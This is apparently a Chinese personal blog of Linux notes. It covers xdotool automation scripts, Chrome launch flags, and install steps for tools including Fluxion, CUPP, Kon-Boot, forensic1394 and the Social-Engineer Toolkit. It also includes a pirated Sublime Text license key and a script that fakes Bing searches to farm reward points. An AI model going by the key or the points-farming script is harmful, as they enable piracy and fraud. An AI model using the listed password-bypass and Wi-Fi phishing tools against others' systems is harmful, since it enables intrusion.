除了将鼠标移动到窗口的左上角,另一个方案是将窗口移动到指定的位置。例如,将 Chrome 移动到 (50, 50) 处:
1
xdotool search "Chrome" windowactivate --sync windowmove 50 50

再进一步,还可以指定窗口的大小,例如将 Chrome 缩放到宽 640,高 480 的大小:
1
xdotool search "Chrome" windowsize 640 480

获取窗口名称
1
$ xdotool search "Chrome"
2
Defaulting to search window name, class, and classname
3
37748741
4
$ xdotool getwindowname 37748741
5
JUSTCODE-iKeepStudying - Google Chrome

在打开的窗口中搜索对应名称的窗口,并聚焦于该窗口,然后模拟击键。
01
#!/bin/bash
02
export DISPLAY=:1
03
/opt/google/chrome/chrome --user-data-dir --display=:1 &
04
#/opt/google/chrome/chrome --user-data-dir --app=http://s.malu.me/ --start-maximized --enable-low-end-device-mode --disable-translate --display=:1 &
05
WID=`xdotool search --name "Chrome" | head -1`
06
xdotool windowfocus $WID
07
xdotool key ctrl+49
08
sleep 1
09
xdotool type 'justcode.ikeepstudying'
10
xdotool key 65

export DISPLAY=:1 用于设置X11默认显示通道,在打开浏览器中会用到

[*注1]: xdotool key ctrl+l 这种别名不再工作。应该使用在xev的输出中找到的值,来替换l。

比如键入l输出:
1
KeyPress event, serial 40, synthetic NO, window 0x2000001,
2
root 0x25, subw 0x0, time 180522539, (110,120), root:(661,427),
3
state 0x0, keycode 49 (keysym 0x6c, l), same_screen YES,
4
XLookupString gives 1 bytes: (6c) "l"
5
XmbLookupString gives 1 bytes: (6c) "l"
6
XFilterEvent returns: False

那应该用49替换字母l

chrome常用命令行参数介绍:
1
1. --incognito,设置浏览器直接从隐身模式启动功能,您在隐身模式中浏览网页不会保留浏览器记录、Cookie存储库或搜索记录,会保留下载的文件和已存的书签。
2
2. --start-maximized,启动时自动最大化窗口。
3
3. --lang=en_US,设置语言为英语_美国(这里可以写各种语言代码),快速切换显示语言,而免去在设置中点击数次并重启的麻烦。
4
4. --user-agent="thatis my user agent"(如果字符串不含空格则无需引号),设置伪造的用户代理字符串,可以验证网站对于不同浏览器采取的不同的行为。
5
5. --user-data-dir=/userdata,设置自定义用户数据位置,对于系统盘空间较小,希望把用户数据(包含缓存)放在其他位置的用户非常有用。
6
6. --disable-images,设置为禁止图像,对于流量有限制,或者其他不想看图的人群非常有用。
7
7. --no-sandbox,不使用沙箱,在和某些杀毒软件有冲突时,可以关闭沙箱。
8
8. --trusted-plugins,仅使用信任的插件。
9
9. --restore-last-session,启动时恢复最近的会话。

Chrome命令行参数之基础类:
1
1. --debug-on-start,如果程序包含基础/调试/debug_on_start_win.h,(仅限于Windows),该过程将​​自启动JIT系统注册的调试器,并会等待60秒钟,让调试器连接到自身并打一个断点。
2
2. --disable-breakpad,禁用崩溃报告。
3
3. --wait-for-debugger,在60秒之内,等待一个调试器接入Chrome。
4
4.--test-child-process,当运行特定的派生子进程的测试,此开关会告诉测试框架,当前进程是一个子进程。
5
5.--enable-crash-reporter,表示崩溃报告应该启用。由辅助进程不能访问到所需文件的平台作出这个决定,此标志由内部产生。
6
6.--enable-crash-reporter-for-testing,用于在调试环境中打开Breakpad(一个非常实用的跨平台的崩溃转储和分析模块)崩溃报告,崩溃报告在那里通常会被编译,但被禁用了。
7
7.--full-memory-crash-report,生成全部内存崩溃报告。
8
8.--enable-low-end-device-mode,改写低端设备检测,启用低端设备的优化。
9
9.--disable-low-end-device-mode,改写低端设备检测,禁止低端设备的优化。

Chrome其它收集命命令行参数:
01
disable-accelerated-compositing 禁用加速
02
disable-winsta 禁用渲染备用窗口
03
disable-application-cache 禁用应用程序缓存
04
disable-apps 禁用应用程序
05
disable-audio 禁用音频
06
disable-auth-negotiate-cname-lookup
07
disable-background-networking 禁用后台联网
08
disable-backing-store-limit 禁用存储数量限制,可以防止在打开大量的标签窗口时,页面出现闪烁的现象。
09
disable-byte-range-support 禁用缓存的支持字节范围
10
disable-click-to-play 禁用点击播放
11
disable-connect-backup-jobs 如果超过指定的时间,则禁用建立备份的TCP连接
12
disable-content-prefetch 禁用内容预取
13
disable-custom-jumplist 禁用Windows 7的JumpList自定义功能
14
disable-databases 禁用HTML5的数据库支持
15
disable-desktop-notifications 禁用桌面通知(默认窗口启用)
16
disable-dev-tools 禁用所有页面的渲染检测
17
disable-device-orientation 禁用设备向导
18
disable-webgl 禁用WebGL实验功能
19
disable-extensions 禁用扩展
20
disable-extensions-file-access-check 禁用扩展文件访问检查
21
disable-geolocation 禁用地理位置的JavaScript API
22
disable-glsl-translator 禁用GLSL翻译
23
disable-hang-monitor 禁止任务管理器监视功能
24
disable-internal-flash 禁用内部的Flash Player
25
disable-ipv6 禁用IPv6
26
disable-preconnect 禁用TCP/IP协议
27
disable-javascript 禁用JS
28
disable-java 禁用Java
29
disable-local-storage 禁用本地存储
30
disable-logging 禁用调试记录
31
disable-new-tab-first-run 禁用新标签显示的通知
32
disable-outdated-plugins 禁用过时的插件
33
disable-plugins 禁止插件
34
disable-popup-blocking 禁用阻止弹出窗口
35
disable-prompt-on-repost
36
disable-remote-fonts 禁用远程字体
37
disable-renderer-accessibility 禁用渲染辅助功能
38
disable-restore-background-contents 当浏览器重新启动后之前的网址被记录
39
disable-session-storage 禁用会话存储
40
disable-shared-workers 禁用共享,功能尚未完成
41
disable-site-specific-quirks 禁用指定站点设置的WebKit兼容性问题。
42
disable-speech-input 禁用语音输入
43
disable-ssl-false-start 禁用SSL的虚假启动
44
disable-sync 禁用同步
45
disable-sync-apps 禁用同步应用程序
46
disable-sync-autofill 禁用同步自动填表
47
disable-sync-bookmarks 禁用同步书签
48
disable-sync-extensions 禁用同步扩展
49
disable-sync-passwords 禁用同步密码
50
disable-sync-preferences 禁用同步偏好设置
51
disable-sync-sessions 禁用同步会话
52
disable-sync-themes 禁用同步主题(皮肤)
53
disable-sync-typed-urls 禁用同步输入网址
54
disable-tab-closeable-state-watcher
55
disable-translate 禁用翻译
56
disable-web-resources 禁用网络资源后台加载服务
57
disable-web-security 禁用网络安全提示?
58
disable-web-sockets 禁用网络接口
59
safebrowsing-disable-auto-update 禁用自动升级(安全浏览)
60
disable-tls 禁用设置XMPP协议的客户端同步控制
61
disable-flash-core-animation 禁用Flash核心动画
62
disable-hole-punching 禁用Punching
63
disable-seccomp-sandbox 禁用沙盒
64
no-sandbox 启动无沙盒模式运行

作为本文的一个意外收获,这里是xdotool的一个具体实例。你可能听说过,也可能没听说过Bing —— 微软的搜索引擎。在后面的实例中,你会看到你可能从没听过Bing奖励:一个程序,可以让你用Bing积分兑取亚马逊的礼物卡和其它的一些礼物卡(LCTT 译注:我是从来没听说过~)。要赚取这些积分,你可以每天在Bing上搜索累计达30次,每次搜索你都会获得0.5个积分。换句话说,你必须把Bing设为默认搜索引擎,并每天使用它。

或者,你可以使用xdotool脚本,在这个脚本中,会自动聚焦到Firefox(你可以用你喜欢的浏览器来取代它),并使用fortune命令生成一些随机单词来实施搜索。大约30秒之内,你的日常搜索任务就完成了。
01
#!/bin/bash
02

03
for i in {1..30}
04
do
05
WID=`xdotool search --title "Mozilla Firefox" | head -1`
06
xdotool windowfocus $WID
07
xdotool key ctrl+l
08
xdotool key Tab
09
SENTENCE="$(fortune | cut -d' ' -f1-3 | head -1)"
10
xdotool type $SENTENCE
11
xdotool key "Return"
12
sleep 4
13
done

下面来个小结吧:我真的很喜欢xdotool,即便它的完整功能超越了本文涵盖的范围。这对于脚本和任务自动化而言,确实是种平易的方式。负面的问题是,它可能不是最有效率的一个。但我要再说一遍,它忠于职守了,而且学习起来也不是那么麻烦。
简单示例
view source
01
#!/bin/bash
02

03
function open(){
04
for((i=0;i<5;i++));
05
do
06
nautilus "/home/"
07
kill -2 `ps -A | grep nautilus | cut -f-1 -d' '`
08
done
09
}
10

11
#测试不断的打开和关闭文件浏览器
12
open
13
nautilus "/home/"
14
sleep 5
15
WID=`xdotool search --name "文件浏览器" | tail -1`
16
echo $WID
17
xdotool windowfocus $WID
18

19
#gen the random num in [0, max)
20
function random(){
21
if [[ $# -eq "0" ]]; then
22
max=1000
23
else
24
max=$1
25
fi
26
rand_value=$[$RANDOM % $max]
27
echo $rand_value
28
}
29

30
function drag(){
31
x0=0
32
y0=0
33
xdotool windowmove $WID $x0 $y0
34
for((i=0;i<500;i++));
35
do
36
#xdotool key ctrl+t
37
x=$[$x0+$i]
38
y=$[$y0+$i]
39
xdotool windowmove $WID $x $y
40
#xdotool windowminimize $WID
41
#sleep 4
42
done
43
}
44

45
function move(){
46
x1=`random`
47
y1=`random`
48
xdotool windowmove $WID $x1 $y1
49
}
50

51
function contineMove(){
52
for((i=0;i<10000;i++));
53
do
54
move
55
#sleep 1
56
done
57
}
58

59
function resize(){
60
x1=`random`
61
y1=`random`
62
xdotool windowsize $WID $x1 $y1
63
}
64

65
function contineResize(){
66
for((i=0;i<$1;i++));
67
do
68
resize
69
done
70
}
71

72

73
#拖拽窗口
74
#drag
75

76
#移动窗口
77
#contineMove
78

79
#改变窗口大小
80
#contineResize 10000

Xprobe

1
2
# xprobe2使用不同数据包绕开防火墙:
xprobe2 www.baidu.com

Yarn

1
2
3
4
5
6
7
8
推荐:
npm install -g yarn

另外方法:
curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
apt update
apt install yarn

非仓库来源软件

CUPP——用户密码分析

1
2
3
https://github.com/Mebus/cupp.git
用户密码分析:common user password profiler
python cupp.py -i

Fluxion

1
2
3
4
https://github.com/wi-fi-analyzer/fluxion
git clone https://github.com/wi-fi-analyzer/fluxion
cd install
./install.sh

Inception

1
2
3
4
5
6
7
8
9
https://github.com/wertarbyte/forensic1394
apt-get install git cmake g++ python3 python3-pip
git clone https://github.com/wertarbyte/forensic1394
cd forensic1394/
cmake CMakeLists.txt
sudo make install
cd python/
python3 setup.py install
./incept -h

Kon-Boot——登录密码绕过

1
Kon-Boot——https://www.piotrbania.com/all/kon-boot/Inception

Lantern——蓝灯

1
2
3
4
5
6
7
8
9
10
11
12
https://github.com/getlantern/lantern.git
git clone https://github.com/getlantern/lantern.git
apt-get install libc6-dev-i386 golang npm libappindicator3-dev libgtk-3-dev libappindicator3-1
apt-get install npm
apt --fix-broken install
//npm install -g gulp-cli
npm i gulp -g
Kali Linux默认安装的Nodejs执行文件是nodejs,创建链接node
link /usr/bin/nodejs /usr/bin/node
cd lantern
make lantern
./lantern

MobSF——移动设备安全测试框架

1
2
3
4
5
6
7
https://github.com/MobSF/Mobile-Security-Framework-MobSF
cd Mobile-Security-Framework-MobSF/
pip install -r requirements.txt
python manage.py test
python manage.py migrate
python manage.py renserver y [IP:Port]/python manage.py run
浏览器访问:http://IP:Port(自己的IP和端口)

Nvm——指定nodejs版本安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 安装nodejs:
sudo apt-get install build-essential
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.0/install.sh | bash
或者
wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.0/install.sh | bash
nvm install 4.2.2 或者 nvm install 4.2
# 列出远程服务器上所有的可用版本:
nvm ls-remote 或者windows :nvm ls available
# 在不同版本间切换:
nvm use 4.2.2
# 列出已安装实例:
nvm ls
# 直接运行特定版本的 Node:
nvm run 4.2.2 --version
# 在当前终端的子进程中运行特定版本的 Node
nvm exec 4.2.2 node --version
# 确认某个版本Node的路径
nvm which 4.2.2
# 安装 Node 的其他实现,例如 iojs(一个基于 ES6 的 Node 实现,现在已经和 Node 合并)
nvm install iojs-v3.2.0
# 安装cnpm,定制淘宝镜像:
npm install -g cnpm --registry=https://registry.npm.taobao.org

Scrcpy——安卓手机投屏(已包含在debian sid仓库)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
git clone https://github.com/Genymobile/scrcpy
https://github.com/Genymobile/scrcpy
======================================================================================
git clone https://github.com/Genymobile/scrcpy.git
sudo apt install ffmpeg libsdl2-2.0-0 adb
sudo apt install gcc git pkg-config meson ninja-build libavcodec-dev libavformat-dev libavutil-dev libsdl2-dev
cd scrcpy
meson x --buildtype release --strip -Db_lto=true
ninja -Cx
下载https://github.com/Genymobile/scrcpy/releases/download/v1.12.1/scrcpy-server-v1.12.1
改名scrcpy-server放到./x/server/
./run x
======================================================================================
# 说明文档
# runtime dependencies
sudo apt install ffmpeg libsdl2-2.0.0
# client build dependencies
sudo apt install make gcc pkg-config meson ninja-build \
libavcodec-dev libavformat-dev libavutil-dev \
libsdl2-dev
# server build dependencies
sudo apt install openjdk-8-jdk
#On old versions (like Ubuntu 16.04), meson is too old. In that case, install it from pip3:
sudo apt install python3-pip
pip3 install meson
#If you want to build the server, install the Android SDK (Android Studio), and set ANDROID_HOME to its directory. For example:
export ANDROID_HOME=~/android/sdk //PATH!
git clone https://github.com/Genymobile/scrcpy
cd scrcpy
meson x --buildtype release --strip -Db_lto=true
cd x
ninja
#Note: ninja must be run as a non-root user (only ninja install must be run as root).
#To run without installing:
./run x [options] //直接运行
#Prebuilt server
scrcpy-server-v1.8.jar
#(SHA-256: 839055ef905903bf98ead1b9b8a127fe402b39ad657a81f9a914b2dbcb2ce5c0)
Download the prebuilt server somewhere, and specify its path during the Meson configuration:
meson x --buildtype release --strip -Db_lto=true \
-Dprebuilt_server=/path/to/scrcpy-server.jar
cd x
ninja
sudo ninja install
######################################################################################
scrcpy:
sudo apt install ffmpeg libsdl2-2.0-0
sudo apt install make gcc git pkg-config meson ninja-build \
libavcodec-dev libavformat-dev libavutil-dev \
libsdl2-dev
sudo apt install openjdk-8-jdk
sudo apt install python3-pip
pip3 install meson
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
If you want to build the server, install the Android SDK (Android Studio), and set ANDROID_HOME to its directory. For example:
export ANDROID_HOME=~/android/sdk
If you don't want to build the server, use the prebuilt server.
Clone the project:
git clone https://github.com/Genymobile/scrcpy
cd scrcpy
Then, build:
meson x --buildtype release --strip -Db_lto=true
cd x
ninja
Note: ninja must be run as a non-root user (only ninja install must be run as root).
Run
To run without installing:
./run x [options]
Install
After a successful build, you can install scrcpy on the system:
sudo ninja install # without sudo on Windows
This installs two files:
/usr/local/bin/scrcpy
/usr/local/share/scrcpy/scrcpy-server.jar
Just remove them to "uninstall" the application.
You can then run scrcpy.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
git clone https://github.com/Genymobile/scrcpy
cd scrcpy
./run x

S.E.T.

1
2
wget https://github.com/trustedsec/social-engineer-toolkit/archive/7.4.5.tar.gz -O set_7.4.5.orig.tar.gz
tar xvf set_7.4.5.orig.tar.gz

Sublime-text 3

  • 安装后改中文

    1
    2
    3
    4
    Tool-Install Package Control
    Preferences->Package Control
    install Package
    ChineseLocalizations
  • 配置Python开发环境

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    # 查询安装路径:
    type -a python3
    # Anaconda为必装插件
    # 然后:build system:
    # Windows:
    {
    "cmd": ["D:/Anaconda3/python.exe","-u","$file"],
    "file_regex": "^[ ]*File \"(...*?)\", line ([0-9]*)",
    "selector": "source.python",
    }
    # Linux:
    {
    "cmd": ["/usr/bin/python3","-u","$file"],
    "file_regex": "^[ ]*File \"(...*?)\", line ([0-9]*)",
    "selector": "source.python",
    }

    /home/jessie/.config/sublime-text-3/Packages/User/python3.7.sublime-build

    # 设置sublime显示空格:
    "draw_white_space":"all",
  • 激活码——不保证能用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 未测试过的激活码
    sgbteam
    Single User License
    EA7E-1153259
    8891CBB9 F1513E4F 1A3405C1 A865D53F
    115F202E 7B91AB2D 0D2A40ED 352B269B
    76E84F0B CD69BFC7 59F2DFEF E267328F
    215652A3 E88F9D8F 4C38E3BA 5B2DAAE4
    969624E7 DC9CD4D5 717FB40C 1B9738CF
    20B3C4F1 E917B5B3 87C38D9C ACCE7DD8
    5F7EF854 86B9743C FADC04AA FB0DA5C0
    F913BE58 42FEA319 F954EFDD AE881E0B

Testssl

1
2
3
4
https://testssl.sh/testssl.sh
wget https://testssl.sh/testssl.sh
chmod +x testssl.sh
./testssl.sh <target URI>

W3AF

1
2
3
4
5
6
https://github.com/andresriancho/w3af
git clone https://github.com/andresriancho/w3af.git
cd w3af
./w3af_gui
cd /tmp
./w3af_dependency_install.sh

Zerotier

1
2
Planet:
https://github.com/xubiaolin/docker-zerotier-planet

If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !